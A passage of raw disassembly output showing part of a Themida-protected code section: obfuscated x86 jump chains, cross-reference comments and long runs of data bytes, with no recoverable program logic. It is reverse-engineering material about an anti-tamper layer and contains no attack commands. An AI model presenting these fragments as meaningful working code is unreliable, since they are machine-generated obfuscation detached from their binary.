0C5310000h, 19BF5758h, 0E9654120h, 5FA9h ; --------------------------------------------------------------------------- loc_55BBB8: ; CODE XREF: Themida_:00564192j sub edi, ecx pop ecx push edi jmp loc_551C34 ; --------------------------------------------------------------------------- loc_55BBC1: ; CODE XREF: Themida_:005525E9j add esp, 4 mov edi, [esp] add esp, 4 jmp loc_55EDD0 ; --------------------------------------------------------------------------- loc_55BBD2: ; CODE XREF: Themida_:0055DEEEj mov edx, 719417C1h jmp loc_5500A9 ; --------------------------------------------------------------------------- dd 0F470E953h, 5868FFFFh, 89000027h, 0EC83243Ch, 24248904h dd 4240483h, 56243C8Bh, 0BA52E689h, 4D153D6Dh, 81D2F74Ah dd 888DBEAh, 1AFFE986h, 89530000h, 0F19CE9E3h, 0C483FFFFh dd 8182E904h, 0BA52FFFFh, 24276B90h, 799AE9h, 81E80000h dd 4ECh, 24148900h, 0FF4D91E9h, 0BE565FFFh, 24816721h dd 98E3C681h, 87E9DB7Eh, 8700008Eh, 0BBE9242Ch, 0B1FFFF6Eh dd 5E9C06Ch, 821DE9h, 24048F00h, 0FD31EF31h, 6855EF31h dd 3A15h, 8B241489h, 0C481242Ch, 4, 487525Ah, 87D0F724h dd 58E92404h, 8BFFFFB3h, 0C481240Ch, 4, 5C24048Fh, 50241489h dd 3B78E99Ch, 2D40FFFFh, 52C7A844h, 5E9C789h, 66FFFFF3h dd 8124048Bh, 4ECh, 243C8900h, 382F68h, 24248900h, 3E9C68h dd 24048900h, 0E570F5B8h, 8EBD5559h, 0E9745F31h, 0FFFFC0F5h dd 39E95F5Dh, 53000066h, 31EE9h, 242C8B00h, 8104C483h dd 4C5h, 4C58100h, 87000000h, 0A5E9242Ch db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BCFF: ; CODE XREF: Themida_:00562E30j add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_55E5B1 ; --------------------------------------------------------------------------- loc_55BD13: ; CODE XREF: Themida_:00550109j push ebp push esp pop ebp push eax mov eax, 4 add ebp, eax pop eax add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_554886 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 4EC8157h, 0E9000000h, 0FFFF80FBh, 68240C89h, 3683h dd 24048F54h, 0FF9B2CE9h, 240C89FFh, 0B9h, 52D10100h, 0BAh dd 0A5C28100h, 13FB72Eh, 0B312E9CAh, 0BBAFFFFh, 290E81EDh dd 0D8015AD3h, 74BE565Bh, 813EF853h, 0F33685EBh, 55F32912h dd 0FF5FA7E9h, 4C481FFh, 87000000h, 895C240Ch, 7BE9240Ch dd 51FFFF3Ah, 0E5C0D7B5h, 0FFC58008h, 8600F580h, 30C3FEDDh dd 30EB30DDh, 1883E9DDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BDB6: ; CODE XREF: Themida_:00556CAEj xor ecx, [esp] mov esp, [esp] idiv cx push ebp mov ebp, esp push 797h mov [esp], eax mov eax, esp jmp loc_550E05 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0EC83D7B0h, 6C75E904h, 8B66FFFFh, 0A8E92414h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BDE7: ; CODE XREF: Themida_:00563406j mov [esp], ecx push 273407D3h mov ecx, [esp] add esp, 4 jmp loc_55F764 ; --------------------------------------------------------------------------- db 29h, 0C6h, 58h dd 5C243487h, 83240489h, 148904ECh, 4EC8324h, 8B243489h dd 0C4812414h, 4, 242C8152h, 12611F92h, 60BDE958h, 0E7E9FFFFh dd 8BFFFF39h, 0C4832414h, 81CF0104h, 4ECh, 240C8900h, 286ECCB9h dd 9EF8147h, 0E93A5E49h, 162Ah ; --------------------------------------------------------------------------- loc_55BE50: ; CODE XREF: Themida_:0055C5C1j sub al, 0D0h add al, bl add al, 0D0h jmp loc_55C04F ; --------------------------------------------------------------------------- db 81h dd 8F29D3EFh, 6EEF8146h, 1495920h, 6EC781CFh, 53495920h dd 8F29D3BBh, 0E9DF0146h, 0FFFF88DFh, 0FF3995E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BE81: ; CODE XREF: Themida_:loc_5609C8j shr edx, 1 cmp eax, edx jz loc_5562E2 push ecx mov ecx, 0 sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ecx push eax mov eax, 1B116A9Ah add [esp+4], eax pop eax jmp loc_554CC4 ; --------------------------------------------------------------------------- loc_55BEB0: ; CODE XREF: Themida_:0055F79Ej xchg ebx, [esp] jmp loc_55AB9F ; --------------------------------------------------------------------------- loc_55BEB8: ; CODE XREF: Themida_:0055C3E2j xchg ecx, [esp] mov esp, [esp] mov [esp], edx mov edx, 0 add edx, eax mov [edx], bl jmp loc_561879 ; --------------------------------------------------------------------------- db 0FFh dd 8B042474h, 0C4812404h, 4, 8B24048Fh, 89572424h, 3E2DE9E7h dd 0E9530000h, 558Eh, 4BE56h, 3AE90000h, 8700006Fh, 5B5C243Ch dd 348BF589h, 40E8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BF0A: ; CODE XREF: Themida_:0055B621j sub ebx, edx pop edx xor ebx, 67E96410h sub esp, 4 mov [esp], ebp push 17h jmp loc_552416 ; --------------------------------------------------------------------------- loc_55BF23: ; CODE XREF: Themida_:005603DCj not edx jmp loc_550CB7 ; --------------------------------------------------------------------------- loc_55BF2A: ; CODE XREF: Themida_:005610A1j sub ebx, eax pop eax pop ecx pop small word ptr [eax] jmp loc_54F816 ; --------------------------------------------------------------------------- aWsL db 'W#L',0 align 4 dd 0F889CF89h, 0E9243C8Bh, 5BB5h ; --------------------------------------------------------------------------- loc_55BF48: ; CODE XREF: Themida_:0056358Dj pop dword ptr [esp] pop esp jmp loc_54F816 ; --------------------------------------------------------------------------- db 81h, 0C7h, 99h dd 0FF57CE54h, 835D2434h, 3C3304C4h, 243C3124h, 8B243C33h dd 0F662424h, 9C2404B3h, 0FF38A1E9h, 240C33FFh, 0E9240C31h dd 0FFFF56F3h ; --------------------------------------------------------------------------- loc_55BF80: ; CODE XREF: Themida_:0055E5BAj or edi, 56671037h push ebp mov ebp, 0FBFBC28Bh jmp loc_555EE2 ; --------------------------------------------------------------------------- loc_55BF91: ; CODE XREF: Themida_:0055DEDFj sub ebp, 4B0F44C6h jmp loc_55CB9A ; --------------------------------------------------------------------------- loc_55BF9C: ; CODE XREF: Themida_:0054FBE8j push edi mov edi, 0CDDEE98Fh add ecx, 13655AFCh add ecx, edi sub ecx, 13655AFCh pop edi sub ebx, ecx pop ecx sub ebx, eax jmp loc_555477 ; --------------------------------------------------------------------------- loc_55BFBB: ; CODE XREF: Themida_:0055F0A9j xchg esi, [esp] jmp loc_561E9B ; --------------------------------------------------------------------------- db 1 dd 5E042474h, 8324048Fh, 8B042404h, 0C4812434h, 4, 4C681h dd 0E9520000h, 31F6h ; --------------------------------------------------------------------------- loc_55BFE4: ; CODE XREF: Themida_:00556276j push edx xchg eax, [esp] not eax jmp loc_5561DD ; --------------------------------------------------------------------------- db 66h dd 9C240401h, 0FF381DE9h, 67C768FFh, 96E90000h, 0BBFFFF99h dd 66067578h, 55FEE94Bh, 8956FFFFh, 4C681E6h, 0E9000000h dd 434Fh ; --------------------------------------------------------------------------- loc_55C01C: ; CODE XREF: Themida_:0055EC9Dj pop ebp add ecx, 4 xchg ecx, [esp] mov esp, [esp] push 192Ch mov [esp], edx jmp loc_55D329 ; --------------------------------------------------------------------------- aRhbg db 'RhBg',0 a5swk db '5w',0 db 0 ; --------------------------------------------------------------------------- loc_55C041: ; CODE XREF: Themida_:00561C2Bj mov [esp], esi mov esi, ecx mov edx, esi pop esi pop ecx jmp loc_561DBA ; --------------------------------------------------------------------------- loc_55C04F: ; CODE XREF: Themida_:0055BE56j add al, 64h mov bx, [esp] jmp loc_555F66 ; --------------------------------------------------------------------------- dw 0E1C1h dd 6E1C102h, 3A04C181h, 0CD0103EDh, 274BE9h, 4C68100h dd 0E9000000h, 0FFFFF26Eh ; --------------------------------------------------------------------------- loc_55C078: ; CODE XREF: Themida_:0055A5B5j mov [esp], bx mov bl, 0B5h push small 6B00h jmp loc_55E5CA ; --------------------------------------------------------------------------- loc_55C087: ; CODE XREF: Themida_:0054FD92j mov [esp], ebp jmp loc_55D96F ; --------------------------------------------------------------------------- db 1 dd 0E9815DE9h, 6C732EBDh, 0C181F901h, 6C732EBDh, 5170E9h dd 2C48100h, 80000000h, 0EB00EAC3h, 59EAEB80h, 0E9C0B60Fh dd 0FFFF4323h, 4E1C6853h, 1C8B26B9h, 3E80E924h, 1C8BFFFFh dd 57ADE924h, 0CB01FFFFh, 0FF4B1BE9h, 2C65BDFFh, 0D5F7744Dh dd 2F61E9h, 0D7C58100h, 8B57A24Dh, 0B0E92414h, 1FFFF5Ch dd 0DD96E9F3h, 3C87FFFFh, 0EE815C24h, 6F703E05h, 0C681D601h dd 6F703E05h, 8324148Bh, 0EDE904C4h, 81FFFFDDh, 0FF705FEEh dd 81DE292Dh, 0FF705FC6h, 0F6815B2Dh, 0DEAEAB7h, 0BBE9F001h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C133: ; CODE XREF: Themida_:005557AAj push dword ptr [esp] jmp loc_55F85C ; --------------------------------------------------------------------------- db 0FFh dd 5F042474h, 0E924048Fh, 0FFFF9ACFh, 4BD4C681h, 0D6013F5Fh dd 4BD4EE81h, 335A3F5Fh, 34312434h, 24343324h, 0E924248Bh dd 0FFFF61E4h, 89241C89h, 7A3BE9E3h, 148BFFFFh, 4C48124h dd 1000000h, 0C7815BDAh, 1149484Ah, 0EF81D729h, 1149484Ah dd 5A2434FFh, 8104C483h, 9971C1C7h, 0BBE95A5Dh, 50FFFFB9h dd 8099B151h, 0C1802FF1h, 0CC8850FFh, 9AE9D4F6h, 5BFFFF62h dd 0C8BCE01h, 4C48324h, 745EC681h, 0EFE9721Eh db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C1C7: ; CODE XREF: Themida_:0055EE73j pop ecx add edx, 0B4A22D3h push ebp mov ebp, 53F12D82h or ebp, 1FF85C43h shl ebp, 6 and ebp, 23D41A47h not ebp add ebp, 28344B4Ah jmp loc_552019 ; --------------------------------------------------------------------------- dd 592434FFh, 4C481h, 2B050000h, 0E9354455h, 0FFFF821Bh dd 0A2E91EB1h, 89000009h, 0BD0DE9E0h, 1BBEFFFFh, 2D7D9340h dd 0F4B2ED6h, 7F101005h, 2DF0014Ch, 4C7F1010h, 5986E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C22E: ; CODE XREF: Themida_:0055F72Dj xchg eax, [edi+24h] inc eax sub esp, 4 mov [esp], ebx mov ebx, 24h sub ebx, 18D77ABEh push edx mov edx, 2DBE3926h sub edx, 7A0B1E57h add edx, 5819669Ch shr edx, 3 not edx shl edx, 7 add edx, 0CC063836h jmp loc_55F61E ; --------------------------------------------------------------------------- db 30h dd 240C8BCAh, 4C481h, 0C2800000h, 0E9D50855h, 0FFFF8ACBh dd 940E83BEh, 39B6E96Ah, 0F8000000h, 5B2434FFh, 61C6E9h dd 8EC68100h, 584EAF75h, 0FFEBA2E9h, 0E3D143FFh, 0F58E381h dd 0EB817F63h, 1410C54h, 0FFF679E9h, 0E18951FFh, 4C181h dd 0E9830000h, 240C3304h, 0E9240C31h, 3D88h ; --------------------------------------------------------------------------- loc_55C2CC: ; CODE XREF: Themida_:00550C3Fj pop esp push ebx jmp loc_5610D3 ; --------------------------------------------------------------------------- db 1 aS9 db '`9',0 align 2 dw 5866h dd 4EC81h, 0C890000h, 0FF1AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C2EA: ; CODE XREF: Themida_:00562FEDj xchg ebx, esi jmp loc_556399 ; --------------------------------------------------------------------------- db 9, 0D1h, 0E9h dd 0FFFFB9EBh, 5AF028h, 685804D8h, 58ADh, 0FF8ED9E9h, 0E68956FFh dd 4C681h, 0EE830000h, 74FF5604h, 348B0424h, 4C48124h dd 8F000000h, 248B2404h, 240C8924h, 2E9E189h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C333: ; CODE XREF: Themida_:0056272Ej mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_55C8F5 ; --------------------------------------------------------------------------- dd 0BD7365BBh, 0E9DBF741h, 5E57h ; --------------------------------------------------------------------------- loc_55C350: ; CODE XREF: Themida_:0055D6ADj push esi jmp loc_55822B ; --------------------------------------------------------------------------- loc_55C356: ; CODE XREF: Themida_:00553480j mov ebx, [esp] add esp, 4 jmp loc_55C3CF ; --------------------------------------------------------------------------- loc_55C361: ; CODE XREF: Themida_:0055ACB1j push dword ptr [esp+4] push dword ptr [esp] pop eax add esp, 4 jmp loc_551D47 ; --------------------------------------------------------------------------- db 0B9h, 7Fh, 33h dword_55C374 dd 0E1817392h, 6F58457Eh, 3D82C181h, 0CF01BF7Ah, 81CF2959h ; DATA XREF: Themida_:0055CBB0o dd 8A3F00EFh, 0E95922h, 51FFFFCDh, 5D40E9h db 0 ; --------------------------------------------------------------------------- loc_55C399: ; CODE XREF: Themida_:005513EEj push eax jmp loc_54FC1B ; --------------------------------------------------------------------------- loc_55C39F: ; CODE XREF: Themida_:00561849j pop edi jmp loc_55068B ; --------------------------------------------------------------------------- aVsk db 'Vk*',0 dw 0B800h dd 11AD0DF4h, 1C79FE0Dh, 14E2256Bh, 0D0F754FEh, 0FFF8DDE9h dd 243433FFh, 8924248Bh, 0AEE92414h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C3CF: ; CODE XREF: Themida_:0055C35Cj push 72ACh mov [esp], edx jmp loc_554D07 ; --------------------------------------------------------------------------- loc_55C3DC: ; CODE XREF: Themida_:0055B479j mov esp, [esp] sub ecx, 4 jmp loc_55BEB8 ; --------------------------------------------------------------------------- a_sut db '_T',0 dd 4C48300h, 8B243C87h, 4D22424h, 17E99C24h, 0BAFFFF34h dd 1B124C56h, 5CACEA81h, 0EA814AEEh, 3DCC43E4h, 0A8E9D501h dd 5BFFFF86h, 4C381h, 0A2E90000h, 35FFFFD0h, 39248111h dd 2CE9C101h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C42F: ; CODE XREF: Themida_:0055DCB9j mov esi, [esp] add esp, 4 jmp loc_55FE06 ; --------------------------------------------------------------------------- loc_55C43A: ; CODE XREF: Themida_:0055DE61j add ch, dl jmp loc_556BB7 ; --------------------------------------------------------------------------- aS_7 db '[</',0 dw 0C100h dd 0EC8105E0h, 4, 68243C89h, 1A7841F1h, 3FADE95Fh, 0C381FFFFh dd 0A254620h, 0FF4625E9h, 405FFh, 0C0830000h, 24048704h dd 242C335Ch, 33242C31h, 248B242Ch, 63C0E924h, 87580000h dd 0A2E9242Ch, 5AFFFF46h, 4205E2C1h, 10A5F281h, 0D58922E4h dd 5DEA295Ah, 31241433h, 14332414h, 4895C24h, 4B824h, 0B8500000h dd 79C661BEh, 3E23A02Dh, 57E6E97Eh, 8B66FFFFh, 8951240Ch dd 4EC81E1h, 89000000h, 57BA2414h, 81514D1Ch, 4D1C53EAh dd 6DC18151h, 813E5454h, 3F30B6E9h, 68D1013Eh, 119Eh, 0B8240489h dd 3E3F30B6h, 58F6C181h, 0C1015C3Fh, 6602E9h db 0 ; --------------------------------------------------------------------------- loc_55C505: ; CODE XREF: Themida_:0055B3E4j pop ecx sub esp, 4 mov [esp], eax mov eax, 4 add ecx, eax pop eax add ecx, 2 jmp loc_55897A ; --------------------------------------------------------------------------- loc_55C51F: ; CODE XREF: Themida_:005567EAj xor [esp], ebp xor ebp, [esp] pop esp shr eax, 8 xor eax, ecx push 2906h jmp loc_5508BF ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0D8280000h, 6602EC83h, 0E9241489h, 0FFFF392Ch dd 0FFFFC281h, 0BF57FFFFh, 0C5854782h, 67DBC281h, 47E93004h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C563: ; CODE XREF: Themida_:0055A3B7j push ebp mov ebp, 1 add edi, ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_562BC5 ; --------------------------------------------------------------------------- loc_55C58B: ; CODE XREF: Themida_:0054FA5Ej pop ecx xor ebp, 5830358Fh mov ecx, ebp pop ebp push esi push eax push ebp jmp loc_551783 ; --------------------------------------------------------------------------- db 59h, 8Fh, 4 dd 24248B24h, 240C8966h, 0FF4FA3E9h, 243C87FFh, 0FFE72BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C5B5: ; CODE XREF: Themida_:005633CFj mov esi, 30477F25h jmp loc_551B05 ; --------------------------------------------------------------------------- loc_55C5BF: ; CODE XREF: Themida_:0055E5D2j pop cx jmp loc_55BE50 ; --------------------------------------------------------------------------- aFqAI db 'fQ]i',0 dw 80EEh dd 596669EEh, 0C0D3F680h, 0DEF606EEh, 71B15166h, 5966CE28h dd 285AF388h, 241C8BD8h, 0FF6379E9h, 243C33FFh, 4FDDE95Ch dd 2C33FFFFh, 242C3124h, 0FF92CDE9h, 5A25BAFFh, 0F2813D1Eh dd 53F35630h, 2F1FBF57h, 0FA310062h, 0DDBE9h, 2BF28100h dd 81389974h, 0CA5659EAh, 8BD0013Ah, 0C4832414h, 1D4E6804h dd 14890000h, 0E0BF5724h, 0E92B710Bh, 0FFFF8B37h, 5F2434FFh dd 483A68h, 241C8900h, 0C381E389h, 4, 0FFDCC6E9h, 4BAFFh dd 5BE90000h db 0BCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C667: ; CODE XREF: Themida_:0055BA47j add eax, ebx jmp loc_5576B4 ; --------------------------------------------------------------------------- dw 0C580h dd 0E9DD0092h, 0FFFFA69Dh, 4B8h, 58C52900h, 5C242C87h dd 60E8E9h, 2CEA8100h, 813E1900h, 9C3D35EAh, 0A2ACE907h dd 0D029FFFFh, 0DC13BB2Dh, 5AE95A69h, 89000039h, 44815EF3h dd 63610424h, 5C01328Eh, 0BDE90424h, 83000067h, 40E904C0h dd 0FF000032h, 815D2434h, 4C4h, 8BD83100h, 5451241Ch, 7C846859h dd 14890000h, 46C46824h, 0CDE90000h, 68FFFFB0h, 504h, 0B4240489h dd 0C3C4809Ah, 8083C480h, 15E987C4h, 8BFFFFB0h, 0B7532424h dd 2CAB04A8h, 52F80090h, 0E903B050h, 4C42h ; --------------------------------------------------------------------------- loc_55C714: ; CODE XREF: Themida_:0055F098j add ebp, 4 xchg ebp, [esp] jmp loc_551ADB ; --------------------------------------------------------------------------- db 0FFh dd 56E92434h, 81FFFF50h, 13296AF2h, 7F28141h, 2934B754h dd 0DDE95AD7h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C73B: ; CODE XREF: Themida_:0055D971j add ebp, 4 jmp loc_562834 ; --------------------------------------------------------------------------- dw 0C783h dd 243C8704h, 2434FF5Ch, 0E92434FFh, 1BF7h, 5B5368h, 24248900h dd 0F6E95251h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C767: ; CODE XREF: Themida_:0054FE1Cj pop edi add esp, 4 jmp loc_55D3DD ; --------------------------------------------------------------------------- db 5 dd 4, 8704C083h, 0E95C2404h, 0FFFF3092h, 0EAC1E2D1h, 0E9555602h dd 0FFFF85F5h, 0E924248Bh, 0FFFFDB47h ; --------------------------------------------------------------------------- loc_55C798: ; CODE XREF: Themida_:00559200j add edi, 4 push 2544h mov [esp], eax mov eax, 3E16CEDh xor eax, 24234EB2h shr eax, 4 jmp loc_54FDDC ; --------------------------------------------------------------------------- dd 72690F05h, 0D50A354Ch, 0C689C71Bh, 8124048Bh, 4C4h dd 3E6C100h, 574DEE81h, 0C68102B4h, 0FF6B7679h, 0FFE398E9h dd 0C8B60FFFh, 0BCF6856h, 0E9540000h, 81B3h, 4EE81h, 80E90000h dd 33FFFF31h, 0C35C242Ch, 0FF3011E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C805: ; CODE XREF: Themida_:00551D4Aj mov esp, [esp] shr ecx, 0 or eax, eax jz loc_55619F push 31C2h mov [esp], ebx mov eax, [esp] sub esp, 4 mov [esp], eax jmp loc_55A91B ; --------------------------------------------------------------------------- db 0B8h, 0D6h, 2 dd 0B8E945A1h, 0FFFF7Ah, 0CE2C5AD0h, 0CE04D828h, 45B322Ch dd 96B6E940h, 0BE66FFFFh, 16678CEh, 348B66F0h, 0E1895124h dd 0FF6F04E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C859: ; CODE XREF: Themida_:005568D7j add esp, 4 push 6156h mov [esp], ebp jmp loc_555C1D ; --------------------------------------------------------------------------- loc_55C869: ; CODE XREF: Themida_:00551B98j pop edx sub esp, 4 mov [esp], ecx jmp loc_55D0D3 ; --------------------------------------------------------------------------- loc_55C878: ; CODE XREF: Themida_:0055626Fj neg edx xchg edx, ecx push 575Ah mov [esp], edx push 544E0ABBh jmp loc_55B799 ; --------------------------------------------------------------------------- loc_55C88E: ; CODE XREF: Themida_:00557191j sub ebp, eax pop eax not ebp add ebp, 0C4BA39DFh add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] push edi push esp jmp loc_556343 ; --------------------------------------------------------------------------- dw 0BD55h dd 0E91D0F39h, 9DE9EB89h, 80FFFF5Dh, 686609F6h, 34280000h dd 24348A24h, 8002C483h, 3968FFC6h, 8900005Fh, 12B1240Ch dd 97B25266h, 5A66D128h, 8059CE20h, 0F00028EEh, 5A2434FFh dd 2162E9h db 0 ; --------------------------------------------------------------------------- loc_55C8F5: ; CODE XREF: Themida_:0055C33Fj mov [esp], eax mov eax, 665A5D6Eh jmp loc_560305 ; --------------------------------------------------------------------------- dw 1C89h dd 4BB24h, 0E9810000h, 4FB20582h, 0C181D901h, 4FB20582h dd 0BC8DE95Bh, 815BFFFFh, 6032FC1h, 56C1014Ch, 211835BEh dd 0E6814E4Fh, 419C3D1Fh, 2257EE81h, 0C6817EA2h, 89A80D72h dd 585EF129h, 8124048Bh, 4C4h, 8BC82900h, 0C483240Ch, 6EE7E904h dd 0EC810000h, 4, 81240489h, 4ECh, 4ABAE900h, 0E9580000h dd 5204h ; --------------------------------------------------------------------------- loc_55C974: ; CODE XREF: Themida_:00553AE7j pop edi jmp loc_558FA6 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 0FFEE4FE9h, 38E9ACFFh, 1FFFFABh, 0C7895AD0h, 0FFE376E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C995: ; CODE XREF: Themida_:0055B8B5j sub edx, ecx push ebx mov ebx, 4AB13FBAh sub edx, ebx pop ebx pop ecx xchg edx, [esp] pop esp mov [esp], ebx mov eax, [esp] add esp, 4 push ecx mov ecx, 151D1512h push edx push esi push 5F325122h jmp loc_55EDEA ; --------------------------------------------------------------------------- db 0F6h dd 80DDF6D5h, 0E2E9E4CDh db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C9CF: ; CODE XREF: Themida_:00552EB9j shl edx, 1 push esi push ebx jmp loc_552A3B ; --------------------------------------------------------------------------- dd 2C8BEE89h, 0E7895724h, 4C781h, 0C7810000h, 4, 0FFF50AE9h dd 64C68FFh, 8F540000h, 18682404h, 89000058h, 4B82404h dd 1000000h, 8B042444h, 0C4812404h, 4, 4C18159h, 81000000h dd 4C1h, 53D2E900h, 0FA890000h, 81243C8Bh, 4C4h, 8BD60100h dd 0C4832414h, 4C68304h, 351A68h, 24348900h, 42474FFh dd 8324348Bh, 48F04C4h, 0CE0E924h, 74FF0000h, 0E95F0424h dd 0FFFF3069h, 8B24048Fh, 0E0E92424h, 5F000011h, 0A402D48h dd 0EE811946h, 6DE44850h, 0C681C629h, 6DE44850h, 4BBF5758h dd 129FD39h, 0EC835FFEh, 243C8904h, 0AC00C2BFh, 1C3EE952h dd 0D0300000h, 8124148Bh, 4C4h, 0EC835100h, 24048904h dd 0D08667B0h, 0D086DAF6h, 0EE9D0F6h, 51000080h, 0B7F39B9h dd 0E9D1F769h, 0FFFFD7A0h ; --------------------------------------------------------------------------- loc_55CAC8: ; CODE XREF: Themida_:00563FB2j add edi, 0D5D91080h sub ebx, edi pop edi push dword ptr [esp] pop esi add esp, 4 add ebx, 4 jmp loc_553D37 ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFF2FC3h ; --------------------------------------------------------------------------- loc_55CAEC: ; CODE XREF: Themida_:0055F8B8j sub edi, 64C271EEh jmp loc_550FF7 ; --------------------------------------------------------------------------- loc_55CAF7: ; CODE XREF: Themida_:00551597j xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ebp jmp loc_55B200 ; --------------------------------------------------------------------------- loc_55CB06: ; CODE XREF: Themida_:0055B580j sub eax, edi add eax, 611A2706h add eax, 315043C2h pop edi sub eax, 60F4654Ah sub eax, 7FAE5455h add eax, edi add eax, 7FAE5455h jmp loc_550383 ; --------------------------------------------------------------------------- db 68h, 0FCh, 22h dd 40585954h, 2DD8F740h, 466A7877h, 4A58C289h, 3DAEA81h dd 4242197Eh, 6FE3EA81h, 0DE961F3h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CB4F: ; CODE XREF: Themida_:0056368Bj xor bl, 1Ah sub cl, bl pop ebx add bl, cl mov ecx, [esp] add esp, 4 push small 5AE6h mov [esp], ax mov al, 31h dec al add al, 0E3h xor al, 0FAh push ebx mov bl, 9Fh jmp loc_557C45 ; --------------------------------------------------------------------------- dd 815FFA89h, 395CE6F2h, 0FBA1E972h, 0B30CFFFFh, 334D0F6h dd 88539C34h, 5BDE88C3h, 8E0FE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CB9A: ; CODE XREF: Themida_:0055BF97j sub ebp, edx add ebp, 4B0F44C6h mov edx, [esp] add esp, 4 jmp loc_55011B ; --------------------------------------------------------------------------- db 80h, 0F1h, 0A7h dd offset dword_55C374+0Ch dd 55EB80CBh, 0E9240C8Bh, 0FFFFE8EAh, 20E9E821h, 8BFFFF3Eh dd 74E92414h, 5D000066h, 8704C683h, 0E95C2434h, 0FFFFBE65h dd 835FFE01h, 348704C6h, 0C0835C24h, 38826804h, 4890000h dd 2474FF24h, 24048B04h, 0FF7178E9h, 73C781FFh, 2915FF11h dd 73EF81DFh, 0E915FF11h, 0FFFFD789h ; --------------------------------------------------------------------------- loc_55CC10: ; CODE XREF: Themida_:00562064j pop ecx add eax, edi add eax, 5D941019h push ebx mov ebx, 0 add ebx, eax jmp loc_561AAF ; --------------------------------------------------------------------------- db 66h, 89h, 1Ch dd 0E902B724h, 0FFFF4BDBh ; --------------------------------------------------------------------------- loc_55CC30: ; CODE XREF: Themida_:00551B0Bj shl esi, 4 neg esi jmp loc_55157B ; --------------------------------------------------------------------------- dw 815Bh dd 0E46D06EBh, 50FB2948h, 234A47B8h, 49BF5763h, 0F7556632h dd 0FAC781D7h, 98088ABh, 0F8E95FF8h, 0FF00003Fh, 669D1C77h dd 4116658h, 0BBE99C24h, 55FFFFF1h, 0E9595D51h, 0FFFF2BB5h ; --------------------------------------------------------------------------- loc_55CC78: ; CODE XREF: Themida_:0055E37Fj mov ecx, 741C3CA4h add ecx, 2A277DCDh sub ecx, 2DF03F1Ch push ecx not dword ptr [esp] pop ecx dec ecx jmp loc_55385E ; --------------------------------------------------------------------------- dd 513BC780h, 7E9FD88h, 31FFFFC2h, 14332414h, 24248B24h dd 6609B652h, 0E6B15153h, 0FFD897E9h, 0C8B66FFh, 65E5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CCBE: ; CODE XREF: Themida_:00554579j or eax, eax jz loc_555699 push dword ptr [edi+1Ch] jmp loc_563C67 ; --------------------------------------------------------------------------- dw 0CF01h dd 592434FFh, 4C481h, 0E9550000h, 0FFFF2FECh, 7AE93FB2h dd 1FFFFCAh, 0E99C2404h, 5F8Bh, 8B59EA88h, 0C4812404h dd 4, 148BD000h, 61236824h, 0C890000h, 55595424h, 0EA5FE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CD12: ; CODE XREF: Themida_:0055B465j add ecx, edi add ecx, 0B8A2CC1h push dword ptr [esp] jmp loc_55DD5D ; --------------------------------------------------------------------------- loc_55CD22: ; CODE XREF: Themida_:00552411j push ecx jmp loc_552F4D ; --------------------------------------------------------------------------- loc_55CD28: ; CODE XREF: Themida_:00561DA7j push edi mov edi, esp add edi, 4 push ecx jmp loc_55A119 ; --------------------------------------------------------------------------- db 53h dd 4E3D98BBh, 0DA895256h, 56D68956h, 13242C81h, 5D0D0914h dd 1413C581h, 45E90D09h, 56FFFFDCh, 0C61D22BEh, 32C0E90Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CD62: ; CODE XREF: Themida_:loc_55F6F7j ; Themida_:0055F860j push 4F00h mov [esp], edi push ebx push dword ptr [esp] pop edi push eax jmp loc_55986F ; --------------------------------------------------------------------------- aUsU db 'U U',0 db 0 ; --------------------------------------------------------------------------- loc_55CD7B: ; CODE XREF: Themida_:0055EEFEj pop ecx jmp loc_54F816 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 5F2FB6BBh, 0C9CB8137h, 81513521h, 0B2076DE3h, 81434B1Fh dd 5D8BD0EBh, 5BDE29FFh, 0FFF902E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CDA5: ; CODE XREF: Themida_:0055179Cj shr eax, 10h xor eax, ecx push 34FEh mov [esp], eax jmp loc_55B0AF ; --------------------------------------------------------------------------- loc_55CDB7: ; CODE XREF: Themida_:0055F87Bj mov ebx, 4 add esi, ebx pop ebx jmp loc_55F723 ; --------------------------------------------------------------------------- dd 